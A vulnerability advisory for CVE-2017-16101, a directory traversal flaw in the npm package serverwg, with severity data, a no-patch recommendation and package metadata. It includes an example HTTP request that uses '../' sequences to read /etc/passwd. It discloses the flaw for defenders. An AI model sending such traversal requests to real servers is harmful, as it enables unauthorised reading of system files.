GHSA-2f29-pmpx-vj62

Source

https://github.com/advisories/GHSA-2f29-pmpx-vj62

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-2f29-pmpx-vj62/GHSA-2f29-pmpx-vj62.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-2f29-pmpx-vj62

Aliases

CVE-2017-16101

Published

2020-09-01T16:52:33Z

Modified

2023-11-08T03:59:04Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator

Summary

Directory Traversal in serverwg

Details

serverwg is a simple http server.

serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo

and response:

HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Database specific

{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:20:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}

References

Affected packages

npm / serverwg

Package

Name: serverwg; View open source insights on deps.dev
Purl: pkg:npm/serverwg

Affected ranges

Type: SEMVER
Events: Introduced

0.0.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-2f29-pmpx-vj62/GHSA-2f29-pmpx-vj62.json"